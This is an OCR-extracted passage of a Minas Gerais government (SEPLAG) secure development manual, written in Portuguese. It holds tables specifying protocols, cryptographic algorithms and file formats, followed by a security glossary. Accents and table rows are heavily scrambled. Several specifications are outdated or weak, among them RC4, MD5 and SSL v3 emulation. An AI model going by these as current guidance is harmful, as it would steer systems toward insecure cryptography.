(http://mww.governoeletronico.gov.br/o-
gov.br/biblioteca/arquivos/resolucao-no-07-de-29-de-

julho-de-2002).

Utilizar Protocolo de Inicializacéo de Sesséo (SIP -
ISR | 6 |Protocolos de sinalizagéo RFC 3261) para controle, na camada de aplicacao, de 2a4

sess@es com um ou mais participantes.

Protocolos de gerenciamento de
ISR| 7 d Usar protocolo SNMP verséo 3 (RFCs 3411 e 3418). 2a4
redes

Protocolo de troca de
informacdes estruturadas em Utilizar protocolo SOAP v1.2
ISR| 8 ) Todos
plataformas descentralizadas http://www.w3.org/TR/soapl12-part0/

e/ou distribuidas

Tabela 8 — Especificag6es técnicas (Servigos de rede).
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4.3. Seguranca
4.3.1. Politicas Técnicas

e Dados e informacdes deverdo ser protegidos de forma a mitigar os riscos
e garantir a integridade, confidencialidade, disponibilidade e autenticidade;

e Independente de local, processamento ou armazenamento em que 0S
dados estejam, deverdo ser mantidos com o mesmo nivel de protecdo
definido originalmente;

e Informacgbes sensiveis deverdo trafegar de forma criptografada conforme
0s componentes de seguranca especificados neste documento;

e A seguranca deverd ser tratada de forma preventiva. Para sistemas
criticos deverdo ser elaborados planos de continuidade;

e A seguranca € um processo que devera estar inserido em todas as fases
do ciclo de vida de desenvolvimento de sistemas;

e Os sistemas deverdo possuir registros historicos (logs) para permitir
auditoria e provas materiais. E imprescindivel a adocdo de um sistema de
sincronismo de tempo centralizado, mecanismos que garantam
autenticidade dos registros, recomendavel a utilizacdo de assinatura
digital;

e Servicos de seguranca de XML deverdo estar em conformidade com a
W3C;

e O uso de criptografia e certificados digitais devera estar em conformidade
com a ICP-Brasil;

e Manter documentacdo dos sistemas atualizada e protegida com seu
devido grau de sigilo;

e Mais requerimentos deverdo ser observados de acordo com o nivel de

seguranca estipulado para a aplicacdo no capitulo 3 deste manual.
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4.3.2. Especificagbes Técnicas
4.3.2.1. Comunicagéao de Dados (CD)

Cédigo Componente Especificagdo Nivel

Utilizar TLS (RFC 2246). Caso necessario o protocolo
TSL v1 pode emular o SSL v3.

Utilizar HTTP sobre TSL (RFC 2818) podendo
implementar os seguintes algoritmos criptograficos:

- Troca de chave durante de sesséo durante o

handshake: RSA, Diffie-Hellman RSA, Diffie-Hellman
Transferéncia de dados em

) DSS;
redes inseguras pelos
CD 1 2a4
protocolos HTTP, LDAP, IMAP, L ) ]
- Defini¢@o de chave de criptografia: RC4, IDEA, 3DES e
POP3, Telnet AES

- Implementagé&o da fun¢do hash para definicdo do MAC:
SHA-256 ou SHA-512;

- Certificado Digital: X.509 v3 - ICP-Brasil
(http:/Aww.iti.gov.br), SASL (RFC 4422).

Utilizar IPSec (RFCs 4303 e 4835) para autenticacdo de
cabecalho de IP.

Utilizar IKE (RFC 4306) sempre que necessario a

CD | 2 Seguranga de redes IPv4 o L Todos
negociacéo da associagéo de segurancga entre duas
entidades para troca de material de chaveamento.

Em caso de VPN utilizar o ESP (RFC 4303).

oo | 3 Seguranca de redes IPv4 para | Para seguranca de mensagens gerais de governo o Tod
odos
protocolos de aplicagéo S/MIME (RFC 2633) devera ser utilizado.

oo | 4 Seguranca de redes IPv6 na | Utilizar mecanismos de seguranca nativos do IPv6 (RFC 0 a4
a
camada de rede 2460): AH (RFC 4302) e ESP (RFC 4303).

Tabela 9 — Especifica¢des técnicas (Comunicagdo de dados).
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4.3.2.2. Criptografia (SC)
Cédigo Componente Especificagdo Nivel
SC 1 | Algoritmo de criptografia Utilizar 3DES ou AES. Todos
Utilizar SHA-256 ou SHA-512
Algoritmo para Os sistemas devem ter suporte para o algoritmo de hash
SC| 2 ) ) ) o Todos
assinatura/hashing MD5 com RSA, para garantir compatibilidades com

implementacdes anteriores.

Algoritmo para transporte de
SC | 3 |chave criptogréafica de Utilizar RSA. Todos
contetdo/sessao

Utilizar ECDSA e ECDSA 512 (RFC 5480 - consultar
errata em http://www.rfc-
editor.org/errata_search.php?rfc=5480) para assinaturas
sc | a Algoritmos criptogréaficos - digj)i-tais. | | Todos
baseados em curvas elipticas Utilizar ECIES 256 e ECIES 512 para criptografia e
transporte seguro de chaves criptogréficas.

Utilizar ECMQV e ECDH (RFC 3278) para acordo de

chaves.

sc| s Requisitos de seguranca para | Utilizar homologacgédo da ICP-Brasil NSH-2 e NSH-3; Tod
odos
madulos criptogréficos FIPS 140-1 e FIPS 140-2.

Tabela 10 — (Criptografia).
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4.3.2.3. Desenvolvimento de Sistemas (DS)

Cadigo Componente Especificagdo Nivel

Utilizar sintaxe e processamento de assinatura XML
DS | 1 |Assinaturas XML (XMLsig) em conformidade com a W3C Todos
Http://ww.w3c.org/TR/xmldsig-core/

Utilizar sintaxe e processamento de criptografia XML
DS | 2 | Criptografia XML (XMLenc) em conformidade com a W3C 2a4
Http://ww.w3c.org/TR/xmlenc-core/

Utilizar transformacao de criptografia para assinatura
DS | 3 | Assinatura e criptografia de XML | XML em conformidade com a W3C 2a4
http://www.w3c.org/TR/xmlenc-decrypt

Principais gerenciamentos XML . )
) 3 Utilizar XKMS 2.0 em conformidade com a W3C
DS | 4 | quando um ambiente ICP é 2a4
. http://www.w3c.org/TR/xkms2
utilizado

Utilizar SAML quando o ambiente ICP é utilizado, em
Autenticagdo e autorizagdo de conformidade com o OASIS

DS | 5 ) 2a4
acesso XML http://www.oasis-

open.org/committees/tc_home.php?wg abbrev=security

Utilizar WS-Security 1.1

) http://docs.oasis-open.org/wss/2004/01/oasis-200401-
Intermediag&o ou federagdo de )
DS | 6 wss-soap-message-security-1.0.pdf 2a4

identidades
Utilizar WS-Trust 1.3
http://docs.oasis-open.org/ws-sx/ws-trust/200512
Utilizar testemunhas de conexao de carater permanente
(cookies) ndo sequenciais, apenas com a concordancia
DS | 7 | Navegadores do usuério Todos

Estar em conformidade com a Resolucédo n® 7 do Comité

Executivo do Governo Eletronico (Capitulo II, Art. 7°)

Tabela 11 — Especifica¢des técnicas (Desenvolvimento de sistemas).
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4.3.2.4. Servicos de Rede (SSR)

Cadigo Componente Especificagdo Nivel

Estar em conformidade com Portaria Normativa n° 2, de
3 de outubro de 2002 - publicada no D.O. do dia 4 de
SSR| 1 |Diretério outubro de 2002, Secéo 1 Folha 85 2a4
Utilizar LDAPV3 (RFC 2251) e LDAPV3 extenséo para
TLS (RFC 2830).

Estar em conformidade com Resolu¢éo n° 7 de
29/07/2002.

Cumprir com os requisitos do Centro de Estudos,
SSR| 2 |DNSSEC ) 2a4
Respostas e Tratamento de Incidentes de Seguranga no
Brasil - CERT.BR - http://www.cert.br/docs/seg-adm-

redes/seg-adm-chklist.pdf

Transferéncia de arquivos de .
SSR| 3 Utilizar SSL sobre HTTP (HTTPS - RFC 2818). 2a4
forma segura

Utilizar TSAs (RFC 3628), Time-Stamp Protocol, RFC
3161 ETSI TS 101861

SSR| 4 |Carimbo de tempo O servico de carimbo de tempo deverd estar de acordo 2a4
com a Resolugéo n° 58, de 28/11/2008 e demais normas
da ICP-Brasil.

Tabela 12 — Especifica¢des técnicas (Servigos de rede).

4.3.2.5. Redes Sem Fio (SF)

Cadigo Componente Especificacdo Nivel

. ) Ajustar a poténcia de transmissdo dos dispositivos para
SF 1 | Controle de emanacao de sinal ] ] ) . o Todos
gue o sinal figue contido nas dependéncias delimitadas.

) ) Utilizar algoritmos seguros de criptografia como o AES
SF 2 | Criptografia ) Todos
ou o Triple DES (3DES).

Utilizar WPA2 (Wi-Fi Protected Access)
SF 3 | Controle de Acesso Em redes de alta criticidade ou metropolitanas (802.16), Todos
utilizar 802.1x.

Tabela 13 — Especificacdes técnicas (Redes sem fio).
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4.3.2.6. Respostas a Incidentes de Seguranca da Informacéo (ISI)

Cédigo Componente Especificagdo Nivel

N ) Estar em conformidade com RFC 3227 - Diretrizes para
1SI 1 | Preservagéo de registros ) . 2a4d
recolhimento e arquivamento de provas.

Conformidade com RFC 2350

Tratamento e resposta a Criacao de equipes de tratamento e resposta a
ISI | 2 |incidentes em redes incidentes em redes computacionais conforme Norma 2a4
computacionais Complementar n° 05/09

(http://dsic.planalto.gov.br/documentos/nc_05_etir.pdf)

Conformidade com o NIST SP800-86
ISI | 3 |Informéatica forense (http://csrc.nist.gov/publications/nistpubs/800-86/SP800- | Todos
86.pdf)

Tabela 14 — Especifica¢des técnicas (Respostas a incidentes de Sl).

4.4. Meios de Acesso
4.4.1. Politicas Técnicas

e Respeitar a legislagcdo brasileira fornecendo recursos de acessibilidade
aos cidadaos portadores de necessidades especiais, grupos étnicos
minoritarios e aqueles sob o risco de exclusdo social ou digital,

e Sistemas WEB deveréo fornecer acesso via navegador;

e Sistemas que utilizarem outros dispositivos como telefones celulares
poderdo fazer uso de outras interfaces além dos navegadores;

e Todos os sistemas que fornecerem servigo eletronico deverdo utilizar a
internet como meio de comunicacao;

e Especificar, de maneira clara e objetiva, em paginas iniciais, quando o
sistema for web, as especificacdes minimas para utilizacdo do sistema;

e E permitido o uso de middleware e plugins adicionais, se ndo houver
alternativa tecnicamente viavel, quando a Internet for utilizada como meio
de comunicacéo;

e Para a interoperabilidade de sistemas devera ser utilizado o padrdo de

empacotamento XML.
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4.4.2. Especificagbes Técnicas
44.2.1. Estacdes de Trabalho (ET)

Cédigo Componente Especificagdo Nivel

Navegadores deverdo estar em conformidade com os

padrées da W3C e aos itens "Adocao de navegadores”
ISI | 1 |Navegadores . ) . 2a4
e "Adocéao Preferencial de Padrdes Abertos" em

Politicas Gerais

S| ) Conjunto de caracteres e Utilizar UNICODE standard verséo 4.0, latin-1, UTF-8, 9 aa
a
alfabetos ISBN 0-321-18578-1

Utilizar HTML verséo 4.01 (.html ou .htm), gerado

» Todos
conforme especificagbes da W3C
Utilizar XHTML versdes 1.0 ou 1.1 (.xhtml), gerado 9 aa
a
Formato de intercambio de conforme especificagbes da W3C
ISI 3
hipertexto — ~
Utilizar XML versdes 1.0 ou 1.1 (.xml), gerado
B Todos
conforme especificagbes da W3C
Utilizar SHTML (.shtml) 2a4

Utilizar XML versdes 1.0 ou 1.1 (.xml), ou com
formatacdo XLS (.xIs), gerado conforme especificacbes | 2 a4
daw3cC

Utilizar Open Document (.odt) em conformidade com o

padrdo ABNT NBR ISO/IEC 26300 Todos
ISI | 4 |Arquivos do tipo documento Utilizar PDF (.pdf) Todos
Utilizar PDF verséo aberta PDF/A 2a4
Utilizar texto puro (.txt) Todos
Utilizar HTML verséo 4.01 (.html ou .htm), gerado 2aa

conforme especificagfes da W3C

) . . Utilizar Open Document (.ods) em conformidade com o
ISI 5 | Arquivos do tipo planilha . Todos
padrdo ABNT NBR ISO/IEC 26300

) ) . Utilizar Open Document (.odp) em conformidade com o
ISI 6 | Arquivos do tipo apresentagdo . Todos
padrdo ABNT NBR ISO/IEC 26300
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Utilizar HTML (.html ou .htm), gerado conforme

- 2a4
especificagcdes da W3C
Utilizar XML versdes 1.0 ou 1.1 (.xml) 2a4
Utilizar MySQL Database (.myd, .myi), gerados nos 9aa
a

formatos do MySQL, versao 4.0 ou superior
Arquivos do tipo "banco de

ISI 7 dados" para estagdes de trabalho Utilizar texto puro (.txt, .csv). Neste caso deve ser

incluso o obrigatoriamente o leiaute dos campos para Todos
possibilitar o tratamento

Utilizar arquivo do Base (.odb) em conformidade com o

2a4
padrdo ABNT NBR ISO/IEC 26300
Utilizar PNG (.png) em conformidade com o padréo Tod
odos
ABNT NBR ISO/IEC 26300
Utilizar TIFF (.tif) 2a4

Intercambio de informacdes . .
ISI 8 ¢ Utilizar SVG (.sgv) em conformidade com a W3C 2a4

graficas e imagens estaticas

Utilizar JPEG File Interchange Format (.jpeg, .jpg ou

. 2a4
Jfif)
Utilizar Open Document (.odg) em conformidade com o Tod
odos
padrdo ABNT NBR ISO/IEC 26300
Utilizar SVG (.sgv) em conformidade com a W3C 2a4
ISI 9 | Gréficos vetoriais
Utilizar Open Document (.odg) em conformidade com o a4
a
padrdo ABNT NBR ISO/IEC 26300
Especificagdes de padrdes de » .
ISI | 10 ) . Utilizar SVG (.sgv) em conformidade com a W3C 2a4
animacao
Utilizar .mpg 2a4
ISI | 11 | Tipos de arquivo de audio e video | Utilizar audio e video MPEG-4, Part 14 (.mp4) 2a4
Utilizar MIDI (.mid) 2a4
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Utilizar audio Ogg Vorbis | (.ogg) 2a4
Utilizar .avi com codificagéo Xvid 2a4
Utilizar ZIP (.zip) 2a4
Utilizar GNU ZIP (.gz) 2a4
Utilizar pacote TAR (.tar) 2a4
Compactacédo de arquivos de uso
ISl | 12
geral
Utilizar pacote TAR compactado (.tgz ou .tar.gz) 2a4
Utilizar BZIP2 (.bz2) 2a4
Utilizar TAR compactado com BZIP2 (.tar.bz2) 2a4
Utilizar GML 2.0 ou superior. Arquivo para estruturas
o Todos
vetoriais complexas
Informacg@es georeferenciadas -
Isi | 13 padrGes de arquivos para Utilizar ShapeFile. Arquivo para estruturas vetoriais
intercambio entre estacdes de . Todos
limitadas
trabalho
Utilizar Geo TIFF. Arquivos para estruturas matriciais
o ) ) Todos
limitadas e matrizes de pixel
Tabela 15 — Especifica¢des técnicas (Estagles de trabalho).
4.4.2.2. Mobilidade (MM)
Cadigo Componente Especificagédo Nivel

) Deve estar em conformidade com os padrdes W3C -
MM | 1 |Protocolos de transmisséo ) 2a4
http://www.w3.org/TR/mobile-bp/

Deve estar em conformidade com os padrées W3C -
MM | 2 | Navegador ) 2a4
http://www.w3.org/TR/mobile-bp/

o Deve estar em conformidade com os padrées W3C -
MM | 3 | Padrao hipertexto ) 2a4
http://www.w3.org/TR/mobile-bp/
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) Deve estar em conformidade com os padrées W3C -
MM | 4 | Programacéo estendida ) 2a4
http://www.w3.0rg/TR/mobile-bp/

] Deve estar em conformidade com os padrées W3C -
MM | 5 |Mensageria . 2a4
http://www.w3.0rg/TR/mobile-bp/

) ; Deve estar em conformidade com os padrdes W3C -
MM | 6 | Arquivos de video e som ) 2a4
http://www.w3.org/TR/mobile-bp/

) ] Deve estar em conformidade com os padrées W3C -
MM | 7 | Arquivos de imagem . 2a4d
http://www.w3.org/TR/mobile-bp/

) o Deve estar em conformidade com os padrdes W3C -
MM | 8 | Arquivos de escritorio . 2a4
http://www.w3.org/TR/mobile-bp/

] Deve estar em conformidade com os padrdes W3C -
MM | 9 |Leitor PDF ) 2a4
http://www.w3.0org/TR/mobile-bp/

Tabela 16 — Especifica¢des técnicas (Mobilidade).

4.5. Organizacao e Intercambio de Informacdes

4.5.1. Politicas Técnicas
e Utilizar XML para o intercambio de dados;
e Usar esquema XML e UML para definicdo dos dados para intercambio;
e Usar XSL para transformacéo de dados;

e Usar padrao de metadados para a gestédo de conteudos eletrbénicos.

4.5.2. Especificagbes Técnicas
4.5.2.1. Organizagéao e Intercambio de Informacdes (I1)

Cadigo Componente Especificagdo Nivel

' 1 Linguagem para intercambio de | Utilizar XML em conformidade com W3C Tod
odos
dados Http://Amww.w3.org/TR/XML

Utilizar XSL e XSLT em conformidade com W3C
Il 2 | Transformacgéo de dados Http:/lwww.w3.0org/TR/xsl Todos
Http://www.w3.0rg/TR/xslt

i 3 Definicdo dos dados para Utilizar XML Schema em conformidade com W3C Tod
odos
intercdmbio. Utilizar UML em conformidade com OMG
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Utilizar o LAG - Lista de Assuntos do Governo, versao
1.0. (Agora VCGE - Vocabulario Controlado do
Governo Eletrdnico)

Il 4 | Taxonomia para navegagao Todos

Tabela 17 — Especifica¢des técnicas (Organizacao e intercambio de informacdes).

4.6.

4.6.1. Politicas Técnicas

Areas de Integracéo para Governo Eletrénico

e Aderir a Arquitetura Orientada a Servicos (SOA), tendo como referéncia

para implementagdo, a iniciativa “Arquitetura Referencial de
Interoperabilidade dos Sistemas Informatizados de Governo (AR);

e Utilizar XML e XML Schema como fundamentos para a integracdo e
interoperabilidade eletrnica do governo;

e Utilizar Web Services para integrar sistemas de informacéo do governo;

e Estar em conformidade com o Guia de Interoperabilidade de Servicos de
Governo e o Catélogo de Interoperabilidade do Governo, disponiveis no

Portal do Governo Eletrénico.

4.6.2. Especificacbes Técnicas

4.6.2.1. Temas Transversais a Areas de Atuacdo do Governo (AG)
Cadigo Componente Especificacéo Nivel

PROCESSOS - Utilizar BPEL4AWS V1.1 em conformidade com OASIS
Linguagem para http://www.0asis-

AG 1 . ] 2a4
execucdo de open.org/committees/download.php/2046/BPEL %20V 1-
processos 1%20May%205%202003%20Final.pdf
PROCESSOS - - )

Utilizar BPMN 1.0 em conformidade com OMG

Notag&o para ]

AG 2 http://www.bpmn.org/Documents/OMG%20Final%20Adopted%20BPM | 2 a4
modelagem de

N%201-0%20Spec%2006-02-01.pdf

processos
Legislacgéo, N ] . ) o
o . Utilizar LexML, o qual define recomendagfes para identificagéo e
jurisprudéncia e S o

AG 3 o estruturac@o de documentos legislativos e judiciarios 2a4
proposicdes

o http://www.lexml.gov.br/

legislativas
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Utilizar WMS verséo 1.0 ou superior Todo
http://www.opengeospatial.org/standards S
Utilizar WFS verséo 1.0 ou superior Todo
INFORMACOES http://www.opengeospatial.org/standards S
GEORREFERENC _ _ i
Utilizar WCS verséo 1.0 ou superior Todo
IADAS - i
- http://www.opengeospatial.org/standards s
AG 4 | Interoperabilidade
entre sistemas de | Utilizar CSW versao 2.0 ou superior Todo
informacao http://www.opengeospatial.org/standards/cat s
geografica
Utilizar WFS-T verséo 1.0 ou superior Todo
http://www.opengeospatial.org/standards/wfs S
Utilizar WKT/WKB »aa
a
http://www.opengeospatial.org/standards/sfa
Tabela 18 — Especificagdes técnicas (Temas transversais).
4.6.2.2. Web Services (WS)
Cadigo Componente Especificagdo Nivel

Estar em conformidade com as especificagcfes da
WS 1 |Infra-estrutura de registros UDDI v3.02 definida pela OASIS. 2a4
http://uddi.org/pubs/uddi_v3.htm

Linguagem de defini¢cdo do Utilizar WSDL 1.1 em conformidade com W3C.
WS 2 ) Todos
servico http://www.w3.0rg/TR/wsdl

Tabela 19 — Especifica¢des técnicas (Web services).
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6. Anexos

6.1. Glossario

Acreditacdo: Decisao oficial de gerenciamento para autorizar a operagdo de um

sistema de informacao e aceitar explicitamente os riscos residuais.

Ambiente: Agregacédo de procedimentos, condi¢cdes e objetos externos afetando o

desenvolvimento, operacdo e manutencédo de um sistema de informacéo.

Andlise de impacto na privacidade: Uma andlise de como a informacédo é
manuseada: 1) para garantir seu manuseio em conformidade com requerimentos
politicos, regulatorios e legais; 2) para determinar os riscos e efeitos da coleta,
manutencao e distribuicdo da informacéo; 3) para examinar e avaliar protecdes e
processos alternativos de manuseio de informagdes para mitigar potenciais riscos

sobre a privacidade.

Andlise de Impacto no Negocio: Analise de requerimentos, processos e
interdependéncias de um sistema de informacdo, usada para caracterizar
prioridades e requerimentos de contingéncia do sistema para o caso de uma

interrupcéo significante.

Andlise de Riscos: Processo de identificacdo de riscos a seguranca do sistema e
determinacao da probabilidade de ocorréncia, do impacto, e de medidas adicionais

para mitigar esse impacto.

Ataque de Buffer Overflow: Método para sobrecarregar uma quantidade pré-
definida de espaco em um buffer, o que pode sobrescrever ou corromper dados na

memoria.

Ataque de forca bruta: Método utilizado para acessar um dispositivo através da

tentativa de combinages multiplas de senhas numéricas e alfanuméricas.

Ativo: Recurso, aplicacdo principal, sistema de suporte geral, programa de alto
impacto, planta fisica, sistema de missao critica, ou um grupo de sistemas

relacionados logicamente.
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Auditoria: Revisao e exame, independente, de registros e atividades, para avaliar a
adequacdao de controles de sistemas, para assegurar a conformidade com politicas e
procedimentos operacionais estabelecidos, e recomendar mudancas necessarias

em controles, politicas e procedimentos.

Autenticacdo: Verificacdo da identidade de um usuario, processo ou dispositivo,
geralmente como pré-requisito para permissao de acesso a recursos de um sistema

de informagao.

Autenticar: Confirmar a identidade de uma entidade quando esta identidade é
apresentada.

Autoridade Certificadora: Uma entidade confiavel, que emite ou revoga

certificados de chave publica.

Autorizacdo: Decisao oficial de gerenciamento para autorizar a operagdo de um

sistema de informacao e aceitar explicitamente os riscos residuais.

Backup: Coépia de arquivos e programas feita para facilitar a recuperacdo dos

mesmaos, caso necessario.

Certificado digital: Representacdo digital de uma informacdo que, no minimo: 1)
identifica a autoridade certificadora que a emitiu; 2) nomeia ou identifica o assinante;
3) contém uma chave publica do assinante; 4) identifica seu periodo operacional; e
5) é assinada digitalmente pela autoridade certificadora que a emitiu.

Chaves assimétricas: Duas chaves relacionadas, uma publica e outra privada, que
sdo usadas para executar operacbes complementares, tais como cifragem e

decifragem, ou geracéo e verificacdo de assinatura.

Cliente (Aplicacdo): Uma entidade do sistema, geralmente um processo de
computador, agindo em nome de um usuario humano, que faz uso de um servigo

prestado por um servidor.

Codigo malicioso: Cadigo intencionado a executar um processo nao autorizado,
que pode causar um impacto adverso na confidencialidade, integridade ou

disponibilidade de um sistema de informacao.
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Confidencialidade: Restricbes autorizadas para preservacédo do acesso e descarte
de informacgdes, incluindo meios de proteger informacbes pessoais privadas e

proprietarias.

Controles compensatérios: Controles técnicos, operacionais e gerenciais
empregados por uma organizacdo em lugar dos controles recomendados, que

oferecem protecdo equivalente ou comparavel para um sistema de informacao.

Controles gerenciais: Controles de seguranca para um sistema de informacéo que

focam no gerenciamento do risco e da seguranca do sistema de informagao.

Controles operacionais: Controles de seguranca do sistema de informagao que
primeiramente sdo implementados e depois sdo executados por pessoas.

Cookie: Um pedaco de uma informacao fornecida por um servidor web a um
browser, juntamente com o0 recurso requisitado, para que browser armazene
temporariamente e retorne ao servidor em qualquer visita ou requisicdo

subsequente.

Criptografia: a disciplina que incorpora os principios, meios e métodos para a
transformacdo de dados com a finalidade de ocultar seu conteldo semantico e

prevenir sua utilizacdo n&o autorizada ou sua modificacdo ndo detectada.

Criptografia: Série de transformacgfes que transforma um texto plano em um texto

cifrado.
Decifragem: O processo de transformar texto cifrado em texto plano.

Disponibilidade: Garantia de tempestividade e confiabilidade no acesso e uso da

informacéo.

Firewall: Um portdo que limita o acesso entre redes de acordo com a politica de

seguranca local.

Hashing: O processo de uso de um algoritmo matematico contra um dado para

produzir um valor numérico que represente aquele dado.
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IDS (Intrusion Detection System): Sistema de Deteccéo de Intrusos. Software que
procura por atividades suspeitas e alerta administradores.

IPS (Intrusion Prevention System): Sistema de Prevencdo de Intrusos. Software
gue toma acdes perante alertas gerados pelo IDS. Quando integrado ao IDS, pode

ser chamado de IDPS (Intrusion Detection and Prevention System).

Impacto: Magnitude do dano que pode ser causado por conseqiéncia de operacdes
nao autorizadas em informacbes, tais como descarte, modificacdo, destruicéo,

perda, entre outras.

Integridade do dado: A propriedade que um dado tem de néo ter sido alterado de
maneira ndo autorizada durante seu armazenamento, seu processamento e sua

transmissao.

Interrupcao: Evento ndo planejado que torna o sistema inoperante por um espaco

de tempo inaceitavel.

Menor Privilégio: Garantia aos usuarios apenas dos acessos aos quais estes

necessitam para realizar suas funcdes oficiais.

N&o repudio: Garantia de que o remetente da informacdo recebe a prova da
entrega e o destinatario recebe a prova da identidade do remetente, ndo podendo

posteriormente negar ter processado a informacao.
Objeto: Entidade passiva que contém ou recebe informacao.

PDSOO: Processo de Desenvolvimento de Software Orientado a Objeto. Ciclo de
vida de desenvolvimento de sistemas da Prodemge.

Plano de contingéncia: Politica e procedimentos de gerenciamento, desenhados
para manter ou recuperar operacdes de negocio, incluindo operacdes de

computadores, no caso de eventuais emergéncias, desastres ou falhas de sistemas.

Plano de Continuidade de Negodcios (PCN): Documentacdo de uma série de
instruces ou procedimentos pré-determidados, que descrevem como as funcdes de
negocios da organizacdo serdo sustentadas durante e ap0s uma interrupgao

significante.
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Politica de Seguranca: Um documento que descreve a estrutura de gerenciamento
de seguranga e claramente designa responsabilidades de seguranca e estabelece

as bases necessarias para medir o cumprimento e 0 progresso.

Proxy: Aplicacdo que quebra a conexao entre cliente e servidor. O Proxy aceita
certos tipos de trafego entrando ou saindo de uma rede, processa e 0s encaminha,

fechando o caminho direto entre redes internas e redes externas.

Risco residual: O potencial risco remanescente depois que todas as medidas de

seguranca sdo aplicadas. Para cada ameaca, h4 um risco residual relacionado.

Risco: Nivel de impacto em operagBes ou ativos, resultantes da operacdo de um
sistema de informacao, dado o potencial risco de uma ameaca e a probabilidade da

ameaca vir a ocorrer.

SDLC: Systems Development Lifecycle. Ciclo de vida do desenvolvimento de
sistemas. Conjunto de metodologias e praticas para o desenvolvimento de

aplicacdes e hardware. Pode ser adaptado para a aquisicao de sistemas.

Seguranca da Informac&o: A protecdo da informacéo e de sistemas de informacao
contra acesso, uso, descarte, modificacdo ou destruicdo ndo autorizada, com a

finalidade de fornecer confidencialidade, integridade e disponibilidade.

Senha: Um segredo que alguém memoriza e usa para se autenticar ou autenticar

sua identidade.

Sistema de Informac&o: Um conjunto discreto de recursos de informacao,
organizados de forma a coletar, processar, manter, usar, compartilhar, disseminar e

disponibilizar informacéo.

Software antivirus: Programa que monitora computadores ou redes para identificar

aplicagbes maliciosas e prevenir incidentes.
Texto cifrado: Texto em sua forma criptografada.

Trilha de auditoria: Um registro mostrando quem acessou um sistema de

informacéo, e quais operacdes o usuario executou em um determinado periodo.

SEPLAG - Padrdo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

Vulnerabilidade: Fragilidade em um sistema de informacéo, procedimentos de
seguranca do sistema, controles internos ou implementacao, que poderia ser
explorada por uma ameaca.
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